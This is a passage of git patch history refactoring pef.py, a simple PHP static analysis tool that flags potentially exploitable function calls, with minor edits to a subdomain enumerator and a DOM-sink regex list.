prev_prev_line, next_next_line, __severity, __verbose) - - if __sql == True: - for _refl in pefdefs.otherPatterns: - p = re.compile(_refl) - if p.search(_line): + printcodeline(l, i, refl, prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) + + if sql == True: + for refl in pefdefs.otherPatterns: + p = re.compile(refl) + if p.search(l): header_printed = header_print( - _file.name, header_printed) + f.name, header_printed) total += 1 - printcodeline(_line, i, _refl, prev_line, next_line, - prev_prev_line, next_next_line, __severity, __verbose) + printcodeline(l, i, refl, prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) if total < 1: pass From fa4b0eeb2f4a8ad49a5af03e640c837b61020858 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 15 Jul 2019 01:37:16 +0100 Subject: [PATCH 099/460] PefEngine.run() implementation [pef.py] --- pef/pef.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index c4fc9c2..2eca46d 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -67,7 +67,7 @@ def printcodeline(self): """ return - def main(self): + def main(self, src): """ main engine loop """ @@ -81,13 +81,11 @@ def run(self): for root, subdirs, files in os.walk(self.filename): for f in files: self.scanned_files = self.scanned_files + 1 - res = main(os.path.join(root, f), __severity, - - verbose, sql, critical) + res = self.main(os.path.join(root, f)) self.found_entries = self.found_entries + res else: self.scanned_files = self.scanned_files + 1 - self.found_entries = main(self.filename, __severity) + self.found_entries = self.main(self.filename) return @@ -325,7 +323,12 @@ def main(src, severity, verbose=False, sql=False, critical=False): print "\n" + + + # REFACTORED STARTS HERE engine = PefEngine(args.recursive, verbose, critical, sql, filename) + engine.run() + exit(0) From 9f281be656c8c7d0e6e254d115eb0f06e7eba6c6 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 16 Jul 2019 09:25:20 +0100 Subject: [PATCH 100/460] Refactoring (cont.) [pef.py] --- pef/pef.py | 231 +++++++++++++++++++++++++++++++++++++++++++---------- 1 file changed, 190 insertions(+), 41 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 2eca46d..7bb8ab4 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -55,38 +55,191 @@ def __init__(self, recursive, verbose, critical, sql, filename): } return - def header_print(self): + def header_print(self, file_name, header_print): """ prints file header """ - return + if header_printed == False: + print beautyConsole.getColor("white") + "-" * 100 + print "FILE: \33[33m%s\33[0m " % os.path.realpath(file_name), "\n" + header_printed = True + return header_printed - def printcodeline(self): + def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): """ prints formatted code line """ - return + impact_color = { + "low": "green", + "medium": "yellow", + "high": "red" + } + + if verbose == True: + print " line %d :: \33[33;1m%s\33[0m " % (i, fn) + else: + print "{}line {} :: {}{} ".format(beautyConsole.getColor( + "white"), i, beautyConsole.getColor("grey"), _line.strip()) + + # print legend only if there i sentry in pefdocs.py + if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): + impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] + description = pefdocs.exploitableFunctionsDesc.get(fn.strip())[ + 0] + syntax = pefdocs.exploitableFunctionsDesc.get(fn.strip())[1] + vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] + + if verbose == True: + print "\n {}{}{}".format(beautyConsole.getColor( + "white"), description, beautyConsole.getSpecialChar("endline")) + print " {}{}{}".format(beautyConsole.getColor( + "grey"), syntax, beautyConsole.getSpecialChar("endline")) + print " Potential impact: {}{}{}".format(beautyConsole.getColor( + impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline")) + + if impact not in severity.keys(): + severity[impact] = 1 + else: + severity[impact] = severity[impact] + 1 + + if verbose == True: + print "\n" + if prev_prev_line: + print str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + \ + beautyConsole.getSpecialChar("endline") + if prev_line: + print str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + \ + beautyConsole.getSpecialChar("endline") + print str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + \ + beautyConsole.getSpecialChar("endline") + if next_line: + print str(i+1) + " " + beautyConsole.getColor("grey") + next_line + \ + beautyConsole.getSpecialChar("endline") + if next_next_line: + print str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + \ + beautyConsole.getSpecialChar("endline") + print "\n" + return def main(self, src): """ main engine loop """ - return + f = open(src, "r") + i = 0 + total = 0 + filenamelength = len(src) + linelength = 97 + all_lines = f.readlines() + + header_printed = False + prev_prev_line = "" + prev_line = "" + next_line = "" + next_next_line = "" + + for l in all_lines: + if i > 2: + prev_prev_line = all_lines[i - 2].rstrip() + if i > 1: + prev_line = all_lines[i - 1].rstrip() + if i < (len(all_lines) - 1): + next_line = all_lines[i + 1].rstrip() + if i < (len(all_lines) - 2): + next_next_line = all_lines[i + 2].rstrip() + + i += 1 + line = l.rstrip() + + if critical: + for fn in pefdefs.critical: + # there has to be space before function call; prevents from false-positives strings contains PHP function names + atfn = "@{}".format(fn) + fn = " {}".format(fn) + # also, it has to checked agains @ at the beginning of the function name + # @ prevents from output being echoed + if fn in line or atfn in line: + header_printed = header_print(f.name, header_printed) + total += 1 + self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, severity, + verbose) + else: + for fn in pefdefs.exploitableFunctions: + # there has to be space before function call; prevents from false-positives strings contains PHP function names + atfn = "@{}".format(fn) + fn = " {}".format(fn) + # also, it has to checked agains @ at the beginning of the function name + # @ prevents from output being echoed + if fn in line or atfn in line: + header_printed = header_print(f.name, header_printed) + total += 1 + self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, severity, + verbose) + + if critical == False: + for dp in pefdefs.fileInclude: + # there has to be space before function call; prevents from false-positives strings contains PHP function names + dp = " {}".format(dp) + # remove spaces to allow detection eg. include( $_GET['something] ) + if dp in line.replace(" ", ""): + header_printed = header_print(f.name, header_printed) + total += 1 + self.print_code_line(l, i, dp + '()', prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) - def run(self): - """ - runs scanning - """ - if self.recursive: - for root, subdirs, files in os.walk(self.filename): - for f in files: - self.scanned_files = self.scanned_files + 1 - res = self.main(os.path.join(root, f)) - self.found_entries = self.found_entries + res + for globalvars in pefdefs.globalVars: + if globalvars in line: + header_printed = header_print(f.name, header_printed) + total += 1 + self.print_code_line(l, i, globalvars, prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) + + for refl in pefdefs.reflectedProperties: + if refl in line: + header_printed = header_print(f.name, header_printed) + total += 1 + self.print_code_line(l, i, refl, prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) + + if sql == True: + for refl in pefdefs.otherPatterns: + p = re.compile(refl) + if p.search(l): + header_printed = header_print( + f.name, header_printed) + total += 1 + self.print_code_line(l, i, refl, prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) + + if total < 1: + pass else: - self.scanned_files = self.scanned_files + 1 - self.found_entries = self.main(self.filename) - return + print beautyConsole.getColor("red") + \ + "Found %d interesting entries\n" % (total) + \ + beautyConsole.getSpecialChar("endline") + + return total # return how many findings in current file + + def run(self): + """ + runs scanning + """ + if self.recursive: + for root, subdirs, files in os.walk(self.filename): + for f in files: + self.scanned_files = self.scanned_files + 1 + res = self.main(os.path.join(root, f)) + self.found_entries = self.found_entries + res + else: + self.scanned_files = self.scanned_files + 1 + self.found_entries = self.main(self.filename) + return def printcodeline(_line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): @@ -193,9 +346,9 @@ def main(src, severity, verbose=False, sql=False, critical=False): if fn in line or atfn in line: header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, severity, - verbose) + self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, severity, + verbose) else: for fn in pefdefs.exploitableFunctions: # there has to be space before function call; prevents from false-positives strings contains PHP function names @@ -206,9 +359,9 @@ def main(src, severity, verbose=False, sql=False, critical=False): if fn in line or atfn in line: header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, severity, - verbose) + self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, severity, + verbose) if critical == False: for dp in pefdefs.fileInclude: @@ -218,25 +371,25 @@ def main(src, severity, verbose=False, sql=False, critical=False): if dp in line.replace(" ", ""): header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(l, i, dp + '()', prev_line, next_line, - prev_prev_line, next_next_line, severity, - verbose) + self.print_code_line(l, i, dp + '()', prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) for globalvars in pefdefs.globalVars: if globalvars in line: header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(l, i, globalvars, prev_line, next_line, - prev_prev_line, next_next_line, severity, - verbose) + self.print_code_line(l, i, globalvars, prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) for refl in pefdefs.reflectedProperties: if refl in line: header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(l, i, refl, prev_line, next_line, - prev_prev_line, next_next_line, severity, - verbose) + self.print_code_line(l, i, refl, prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) if sql == True: for refl in pefdefs.otherPatterns: @@ -245,9 +398,9 @@ def main(src, severity, verbose=False, sql=False, critical=False): header_printed = header_print( f.name, header_printed) total += 1 - printcodeline(l, i, refl, prev_line, next_line, - prev_prev_line, next_next_line, severity, - verbose) + self.print_code_line(l, i, refl, prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) if total < 1: pass @@ -323,12 +476,8 @@ def main(src, severity, verbose=False, sql=False, critical=False): print "\n" - - - # REFACTORED STARTS HERE engine = PefEngine(args.recursive, verbose, critical, sql, filename) - engine.run() - + # engine.run() exit(0) From ef78f7c6d0e990372466cf472a33bfcbc57609fb Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 18 Jul 2019 00:28:27 +0100 Subject: [PATCH 101/460] Refactoring pef.py --- denumerator/denumerator.py | 2 +- pef/pef.py | 285 +++++++------------------------------ 2 files changed, 51 insertions(+), 236 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index d86a574..962ec1d 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -48,7 +48,7 @@ } requests.packages.urllib3.disable_warnings() -allowed_http_responses = [200, 204, 403, 404, 405, 415, 422, 500] +allowed_http_responses = [200, 302, 403, 404, 405, 415, 422, 500] timeout = 2 diff --git a/pef/pef.py b/pef/pef.py index 7bb8ab4..78d5c99 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -53,17 +53,19 @@ def __init__(self, recursive, verbose, critical, sql, filename): "medium": 0, "low": 0 } + + self.header_printed = False return def header_print(self, file_name, header_print): """ prints file header """ - if header_printed == False: + if self.header_printed == False: print beautyConsole.getColor("white") + "-" * 100 print "FILE: \33[33m%s\33[0m " % os.path.realpath(file_name), "\n" - header_printed = True - return header_printed + self.header_printed = True + return self.header_printed def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): """ @@ -132,7 +134,7 @@ def main(self, src): linelength = 97 all_lines = f.readlines() - header_printed = False + self.header_printed = False prev_prev_line = "" prev_line = "" next_line = "" @@ -159,10 +161,11 @@ def main(self, src): # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed if fn in line or atfn in line: - header_printed = header_print(f.name, header_printed) + self.header_printed = self.header_print( + f.name, self.header_printed) total += 1 self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, severity, + next_line, prev_prev_line, next_next_line, self.severity, verbose) else: for fn in pefdefs.exploitableFunctions: @@ -172,10 +175,11 @@ def main(self, src): # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed if fn in line or atfn in line: - header_printed = header_print(f.name, header_printed) + self.header_printed = self.header_print( + f.name, self.header_printed) total += 1 self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, severity, + next_line, prev_prev_line, next_next_line, self.severity, verbose) if critical == False: @@ -184,37 +188,40 @@ def main(self, src): dp = " {}".format(dp) # remove spaces to allow detection eg. include( $_GET['something] ) if dp in line.replace(" ", ""): - header_printed = header_print(f.name, header_printed) + self.header_printed = self.header_print( + f.name, self.header_printed) total += 1 self.print_code_line(l, i, dp + '()', prev_line, next_line, - prev_prev_line, next_next_line, severity, + prev_prev_line, next_next_line, self.severity, verbose) for globalvars in pefdefs.globalVars: if globalvars in line: - header_printed = header_print(f.name, header_printed) + self.header_printed = self.header_print( + f.name, self.header_printed) total += 1 self.print_code_line(l, i, globalvars, prev_line, next_line, - prev_prev_line, next_next_line, severity, + prev_prev_line, next_next_line, self.severity, verbose) for refl in pefdefs.reflectedProperties: if refl in line: - header_printed = header_print(f.name, header_printed) + self.header_printed = self.header_print( + f.name, self.header_printed) total += 1 self.print_code_line(l, i, refl, prev_line, next_line, - prev_prev_line, next_next_line, severity, + prev_prev_line, next_next_line, self.severity, verbose) if sql == True: for refl in pefdefs.otherPatterns: p = re.compile(refl) if p.search(l): - header_printed = header_print( - f.name, header_printed) + self.header_printed = self.header_print( + f.name, self.header_printed) total += 1 self.print_code_line(l, i, refl, prev_line, next_line, - prev_prev_line, next_next_line, severity, + prev_prev_line, next_next_line, self.severity, verbose) if total < 1: @@ -226,190 +233,38 @@ def main(self, src): return total # return how many findings in current file - def run(self): - """ - runs scanning - """ - if self.recursive: - for root, subdirs, files in os.walk(self.filename): - for f in files: - self.scanned_files = self.scanned_files + 1 - res = self.main(os.path.join(root, f)) - self.found_entries = self.found_entries + res - else: - self.scanned_files = self.scanned_files + 1 - self.found_entries = self.main(self.filename) - return - - -def printcodeline(_line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): - """ - Formats and prints line of output - """ - impact_color = { - "low": "green", - "medium": "yellow", - "high": "red" - } - - if verbose == True: - print " line %d :: \33[33;1m%s\33[0m " % (i, fn) - else: - print "{}line {} :: {}{} ".format(beautyConsole.getColor( - "white"), i, beautyConsole.getColor("grey"), _line.strip()) - - # print legend only if there i sentry in pefdocs.py - if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): - impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] - description = pefdocs.exploitableFunctionsDesc.get(fn.strip())[ - 0] - syntax = pefdocs.exploitableFunctionsDesc.get(fn.strip())[1] - vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] - - if verbose == True: - print "\n {}{}{}".format(beautyConsole.getColor( - "white"), description, beautyConsole.getSpecialChar("endline")) - print " {}{}{}".format(beautyConsole.getColor( - "grey"), syntax, beautyConsole.getSpecialChar("endline")) - print " Potential impact: {}{}{}".format(beautyConsole.getColor( - impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline")) - - if impact not in severity.keys(): - severity[impact] = 1 + def run(self): + """ + runs scanning + """ + if self.recursive: + for root, subdirs, files in os.walk(self.filename): + for f in files: + self.scanned_files = self.scanned_files + 1 + res = self.main(os.path.join(root, f)) + self.found_entries = self.found_entries + res else: - severity[impact] = severity[impact] + 1 - - if verbose == True: - print "\n" - if prev_prev_line: - print str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + \ - beautyConsole.getSpecialChar("endline") - if prev_line: - print str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + \ - beautyConsole.getSpecialChar("endline") - print str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + \ - beautyConsole.getSpecialChar("endline") - if next_line: - print str(i+1) + " " + beautyConsole.getColor("grey") + next_line + \ - beautyConsole.getSpecialChar("endline") - if next_next_line: - print str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + \ - beautyConsole.getSpecialChar("endline") - print "\n" - + self.scanned_files = self.scanned_files + 1 + self.found_entries = self.main(self.filename) -def header_print(file_name, header_printed): - if header_printed == False: print beautyConsole.getColor("white") + "-" * 100 - print "FILE: \33[33m%s\33[0m " % os.path.realpath(file_name), "\n" - header_printed = True - return header_printed - -def main(src, severity, verbose=False, sql=False, critical=False): - """ - performs code analysis, line by line - """ - f = open(src, "r") - i = 0 - total = 0 - filenamelength = len(src) - linelength = 97 - all_lines = f.readlines() - - header_printed = False - prev_prev_line = "" - prev_line = "" - next_line = "" - next_next_line = "" - - for l in all_lines: - if i > 2: - prev_prev_line = all_lines[i - 2].rstrip() - if i > 1: - prev_line = all_lines[i - 1].rstrip() - if i < (len(all_lines) - 1): - next_line = all_lines[i + 1].rstrip() - if i < (len(all_lines) - 2): - next_next_line = all_lines[i + 2].rstrip() - - i += 1 - line = l.rstrip() - - if critical: - for fn in pefdefs.critical: - # there has to be space before function call; prevents from false-positives strings contains PHP function names - atfn = "@{}".format(fn) - fn = " {}".format(fn) - # also, it has to checked agains @ at the beginning of the function name - # @ prevents from output being echoed - if fn in line or atfn in line: - header_printed = header_print(f.name, header_printed) - total += 1 - self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, severity, - verbose) + print beautyConsole.getColor("green") + print "\n>>> {} file(s) scanned".format(self.scanned_files) + if self.found_entries > 0: + print "{}>>> {} interesting entries found\n".format( + beautyConsole.getColor("red"), self.found_entries) else: - for fn in pefdefs.exploitableFunctions: - # there has to be space before function call; prevents from false-positives strings contains PHP function names - atfn = "@{}".format(fn) - fn = " {}".format(fn) - # also, it has to checked agains @ at the beginning of the function name - # @ prevents from output being echoed - if fn in line or atfn in line: - header_printed = header_print(f.name, header_printed) - total += 1 - self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, severity, - verbose) - - if critical == False: - for dp in pefdefs.fileInclude: - # there has to be space before function call; prevents from false-positives strings contains PHP function names - dp = " {}".format(dp) - # remove spaces to allow detection eg. include( $_GET['something] ) - if dp in line.replace(" ", ""): - header_printed = header_print(f.name, header_printed) - total += 1 - self.print_code_line(l, i, dp + '()', prev_line, next_line, - prev_prev_line, next_next_line, severity, - verbose) - - for globalvars in pefdefs.globalVars: - if globalvars in line: - header_printed = header_print(f.name, header_printed) - total += 1 - self.print_code_line(l, i, globalvars, prev_line, next_line, - prev_prev_line, next_next_line, severity, - verbose) - - for refl in pefdefs.reflectedProperties: - if refl in line: - header_printed = header_print(f.name, header_printed) - total += 1 - self.print_code_line(l, i, refl, prev_line, next_line, - prev_prev_line, next_next_line, severity, - verbose) - - if sql == True: - for refl in pefdefs.otherPatterns: - p = re.compile(refl) - if p.search(l): - header_printed = header_print( - f.name, header_printed) - total += 1 - self.print_code_line(l, i, refl, prev_line, next_line, - prev_prev_line, next_next_line, severity, - verbose) + print " No interesting entries found :( \n" - if total < 1: - pass - else: - print beautyConsole.getColor("red") + \ - "Found %d interesting entries\n" % (total) + \ - beautyConsole.getSpecialChar("endline") + print "{}==> {}:\t {}".format( + beautyConsole.getColor("red"), "HIGH", self.severity.get("high")) + print "{}==> {}:\t {}".format(beautyConsole.getColor( + "yellow"), "MEDIUM", self.severity.get("medium")) + print "{}==> {}:\t {}".format(beautyConsole.getColor( + "green"), "LOW", self.severity.get("low")) - return total # return how many findings in current file + print "\n" # main program @@ -437,47 +292,7 @@ def main(src, severity, verbose=False, sql=False, critical=False): critical = True if args.critical else False filename = args.file - scanned_files = 0 - found_entries = 0 - - severity = { - "high": 0, - "medium": 0, - "low": 0 - } - - if args.recursive: - for root, subdirs, files in os.walk(filename): - for f in files: - scanned_files = scanned_files + 1 - res = main(os.path.join(root, f), severity, - verbose, sql, critical) - found_entries = found_entries + res - else: - scanned_files = scanned_files + 1 - found_entries = main(filename, severity) - - print beautyConsole.getColor("white") + "-" * 100 - - print beautyConsole.getColor("green") - print "\n>>> {} file(s) scanned".format(scanned_files) - if found_entries > 0: - print "{}>>> {} interesting entries found\n".format( - beautyConsole.getColor("red"), found_entries) - else: - print " No interesting entries found :( \n" - - print "{}==> {}:\t {}".format( - beautyConsole.getColor("red"), "HIGH", severity.get("high")) - print "{}==> {}:\t {}".format(beautyConsole.getColor( - "yellow"), "MEDIUM", severity.get("medium")) - print "{}==> {}:\t {}".format(beautyConsole.getColor( - "green"), "LOW", severity.get("low")) - - print "\n" - - # REFACTORED STARTS HERE engine = PefEngine(args.recursive, verbose, critical, sql, filename) - # engine.run() + engine.run() exit(0) From 27a87ee29943d7c272985a19b1b9ac80911feb81 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 22 Jul 2019 23:47:30 +0100 Subject: [PATCH 102/460] --pattern switch to allow to search for any pattern [pef.py] --- pef/pef.py | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 78d5c99..d8f18ae 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -35,7 +35,7 @@ class PefEngine: implements pef engine """ - def __init__(self, recursive, verbose, critical, sql, filename): + def __init__(self, recursive, verbose, critical, sql, filename, pattern): """ constructor """ @@ -44,6 +44,7 @@ def __init__(self, recursive, verbose, critical, sql, filename): self.critical = critical # scan only for critical set of functions self.sql = sql # scan for inline SQL queries self.filename = filename # name of file/folder to scan + self.pattern = pattern # pattern(s) to look for, if set self.scanned_files = 0 # number of scanned files in total self.found_entries = 0 # total number of findings @@ -153,7 +154,8 @@ def main(self, src): i += 1 line = l.rstrip() - if critical: + + if self.critical: for fn in pefdefs.critical: # there has to be space before function call; prevents from false-positives strings contains PHP function names atfn = "@{}".format(fn) @@ -167,8 +169,8 @@ def main(self, src): self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, next_line, prev_prev_line, next_next_line, self.severity, verbose) - else: - for fn in pefdefs.exploitableFunctions: + else: + for fn in (self.pattern if self.pattern else pefdefs.exploitableFunctions): # there has to be space before function call; prevents from false-positives strings contains PHP function names atfn = "@{}".format(fn) fn = " {}".format(fn) @@ -182,7 +184,7 @@ def main(self, src): next_line, prev_prev_line, next_next_line, self.severity, verbose) - if critical == False: + if self.critical == False and not self.pattern: for dp in pefdefs.fileInclude: # there has to be space before function call; prevents from false-positives strings contains PHP function names dp = " {}".format(dp) @@ -277,6 +279,8 @@ def run(self): "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") parser.add_argument( "-c", "--critical", help="look only for critical functions", action="store_true") + parser.add_argument( + "-p", "--pattern", help="look only for particular code pattern(s)") parser.add_argument( "-s", "--sql", help="look for raw SQL queries", action="store_true") parser.add_argument( @@ -290,9 +294,10 @@ def run(self): verbose = True if args.verbose else False sql = True if args.sql else False critical = True if args.critical else False + pattern = args.pattern.split(',') if args.pattern else [] filename = args.file - engine = PefEngine(args.recursive, verbose, critical, sql, filename) + engine = PefEngine(args.recursive, verbose, critical, sql, filename, pattern) engine.run() exit(0) From 85a7127b2f2b9a16fcc1b92815aae94d5f590e13 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Wed, 24 Jul 2019 23:24:17 +0100 Subject: [PATCH 103/460] refactor (cont) [pef.py] --- pef/pef.py | 41 ++++++++++++++++++++++++++--------------- 1 file changed, 26 insertions(+), 15 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index d8f18ae..20608c7 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -68,6 +68,27 @@ def header_print(self, file_name, header_print): self.header_printed = True return self.header_printed + def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total): + """ + analysis of single line of code; searches for pattern (passed as fn and atfn) occurence + + if occurence found, output is printed + """ + + # there has to be space before function call; prevents from false-positives strings contains PHP function names + atfn = "@{}".format(fn) + fn = " {}".format(fn) + # also, it has to checked agains @ at the beginning of the function name + # @ prevents from output being echoed + + if fn in line or atfn in line: + self.header_printed = self.header_print( + f.name, self.header_printed) + total += 1 + self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, self.severity, + verbose) + def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): """ prints formatted code line @@ -154,22 +175,11 @@ def main(self, src): i += 1 line = l.rstrip() - if self.critical: for fn in pefdefs.critical: - # there has to be space before function call; prevents from false-positives strings contains PHP function names - atfn = "@{}".format(fn) - fn = " {}".format(fn) - # also, it has to checked agains @ at the beginning of the function name - # @ prevents from output being echoed - if fn in line or atfn in line: - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, self.severity, - verbose) - else: + self.analyse_line(l, i, fn, f, line, prev_line, + next_line, prev_prev_line, next_next_line, verbose, total) + else: for fn in (self.pattern if self.pattern else pefdefs.exploitableFunctions): # there has to be space before function call; prevents from false-positives strings contains PHP function names atfn = "@{}".format(fn) @@ -297,7 +307,8 @@ def run(self): pattern = args.pattern.split(',') if args.pattern else [] filename = args.file - engine = PefEngine(args.recursive, verbose, critical, sql, filename, pattern) + engine = PefEngine(args.recursive, verbose, + critical, sql, filename, pattern) engine.run() exit(0) From 0d9c7009e64c0cd8b9554fc09732d4ef6ae7e9e5 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 30 Jul 2019 20:21:28 -0700 Subject: [PATCH 104/460] improving pef.py --- pef/pef.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 20608c7..b58d81d 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -8,7 +8,7 @@ """ pef.py - PHP static code analysis tool (very, very simple) by bl4de -GitHub: bl4de | Twitter: @_bl4de | bloorq@gmail.com +GitHub: bl4de | bloorq@gmail.com """ import sys import os @@ -282,7 +282,9 @@ def run(self): # main program if __name__ == "__main__": - parser = argparse.ArgumentParser() + parser = argparse.ArgumentParser( + description=sys.modules[__name__].__doc__ + ) filename = '.' # initial value for file/dir to scan is current directory parser.add_argument( @@ -307,6 +309,7 @@ def run(self): pattern = args.pattern.split(',') if args.pattern else [] filename = args.file + # main orutine starts here engine = PefEngine(args.recursive, verbose, critical, sql, filename, pattern) engine.run() From e1fdad9434533ccbc9c1ba057d6c2c09f283c4ed Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 30 Jul 2019 21:20:01 -0700 Subject: [PATCH 105/460] fix typo in dangerouslySetInnerHTML [nodestructor] --- nodestructor/nodestructor.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 26f97db..bb0968b 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -107,7 +107,7 @@ ".*\.replaceWith\(", ".*\.wrap\(", ".*\.wrapAll\(", - ".*\.dangerouslytSetInnerHTML\(", + ".*\.dangerouslySetInnerHTML\(", ".*\.bypassSecurityTrust.*\(", ".*localStorage\.", ".*sessionStorage\.", From fad8fc69d7470e11c02d43b523cac6bf813b3002 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Fri, 2 Aug 2019 19:12:35 -0400 Subject: [PATCH 106/460] refactoring [pef.py] --- pef/pef.py | 58 ++++++++++++------------------------------------------ 1 file changed, 13 insertions(+), 45 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index b58d81d..a0ae4c0 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -88,6 +88,8 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, next_line, prev_prev_line, next_next_line, self.severity, verbose) + return total + def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): """ @@ -177,64 +179,30 @@ def main(self, src): if self.critical: for fn in pefdefs.critical: - self.analyse_line(l, i, fn, f, line, prev_line, + total = self.analyse_line(l, i, fn, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total) else: for fn in (self.pattern if self.pattern else pefdefs.exploitableFunctions): - # there has to be space before function call; prevents from false-positives strings contains PHP function names - atfn = "@{}".format(fn) - fn = " {}".format(fn) - # also, it has to checked agains @ at the beginning of the function name - # @ prevents from output being echoed - if fn in line or atfn in line: - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, self.severity, - verbose) + total = self.analyse_line(l, i, fn, f, line, prev_line, + next_line, prev_prev_line, next_next_line, verbose, total) if self.critical == False and not self.pattern: for dp in pefdefs.fileInclude: - # there has to be space before function call; prevents from false-positives strings contains PHP function names - dp = " {}".format(dp) - # remove spaces to allow detection eg. include( $_GET['something] ) - if dp in line.replace(" ", ""): - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, dp + '()', prev_line, next_line, - prev_prev_line, next_next_line, self.severity, - verbose) + total = self.analyse_line(l, i, dp, f, line, prev_line, + next_line, prev_prev_line, next_next_line, verbose, total) for globalvars in pefdefs.globalVars: - if globalvars in line: - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, globalvars, prev_line, next_line, - prev_prev_line, next_next_line, self.severity, - verbose) + total = self.analyse_line(l, i, globalvars, f, line, prev_line, + next_line, prev_prev_line, next_next_line, 